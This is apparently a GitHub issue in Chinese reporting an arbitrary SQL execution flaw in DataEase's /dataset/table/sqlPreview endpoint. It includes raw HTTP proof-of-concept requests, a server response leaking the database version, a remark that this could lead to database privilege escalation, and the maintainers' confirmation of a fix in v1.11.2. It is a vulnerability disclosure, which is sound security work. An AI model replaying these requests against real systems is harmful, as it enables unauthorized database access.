

# [Bug]任意SQL代码执行 #2430

Closed

Ryze-T opened this issue on Jun 15 · 2 comments

Assignees



Labels

状态:待反馈 类型:bug

Ryze-T commented on Jun 15

DataEase 版本  
最新版

运行方式(安装包运行 or 源码运行 ?)  
安装包运行

浏览器版本  
任意

Bug 描述  
任意SQL代码执行

Bug 重现步骤(有截图更好)  
普通权限用户可调用 /dataset/table/sqlPreview 接口。  
实现过程中主要需要两个参数：DataSourceId和 sql，dataSourceId可通过查看数据源获取。

```
POST /dataset/table/sqlPreview HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: xxx
LINK-PWD-TOKEN: null
Content-Length: 95
Connection: close

{"dataSourceId":"76026997-94f9-4a35-96ca-151084638969","info":{"sql\":\"select version()\"}}
```

```
POST /dataset/table/sqlPreview HTTP/1.1
Host: 10.211.55.18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0)
Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1Ni9.eyJleHAiOiJlE2NTUxMTMxOTksInVzZXJJZCI6Miwi
dXNlcm5hbWUiOiJkZW1vbn0.X3eOvxtBi-znh5KFrpb5Kmh3Nw3ztKikyBI9bKjdaQ
LINK-PWD-TOKEN: null
Content-Length: 95
Origin: http://10.211.55.18
Connection: close
Referer: http://10.211.55.18/

{"dataSourceId":"76026997-94f9-4a35-96ca-151084638969","info":{"sql":"select
version0\":"}}

HTTP/1.1 200
Access-control-Allow-Origin: http://10.211.55.18
Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,DELETE
Access-Control-Expose-Headers: RefreshAuthorization
RefreshAuthorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1Ni9.eyJleHAiOiJlE2NTUxMTMxOTksInVzZXJJZCI6Miwi
dXNlcm5hbWUiOiJkZW1vbn0.G0Fr8E8CjYizlJey5D_SJP7IjbMA9ePeS-krGicnp74
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sun,
12-Jun-2022 10:34:34 GMT; SameSite=lax
Vary:
origin,access-control-request-method,access-control-request-headers,accept-enco
ding
Content-Type: application/json
Date: Mon, 13 Jun 2022 10:34:34 GMT
Connection: close
Content-Length: 199

{"success":true,"message":null,"data":{"data":{"version0":"10.4.24-MariaDB-1:10.4.24
+maria~focal"},"fields":[{"fieldName":"version0","remarks":"version0","fieldType":"VAR
CHAR","fieldSize":37}]}}
```

若数据源为sql server或postgresql等，可以通过数据库提权获取数据库服务器权限。

  Ryze-T added the 类型:bug label on Jun 15

  Ryze-T assigned BBchicken-9527, youliyuan-fit2cloud and zyyfit on Jun 15

  github-actions  added the 状态:待处理 label on Jun 15

  maninhill changed the title  [Bug]任意SQL代码执行 on Jun 15

xuwei-fit2cloud commented on Jun 15

Contributor

感谢反馈，我们尽快修复。


  github-actions  added 状态:待反馈 and removed 状态:待处理 labels on Jun 15

maninhill commented on Jun 17

Contributor

v1.11.2 已修复，详情请参考：<https://github.com/dataease/dataease/releases/tag/v1.11.2>

 maninhill closed this as completed on Jun 17

 youliyuan-fit2cloud

 zyyfit

 BBchicken-9527

---

## Labels

状态:待反馈    类型:bug

---

## Projects

None yet

---

## Milestone

No milestone

---

## Development

No branches or pull requests

---

## 6 participants

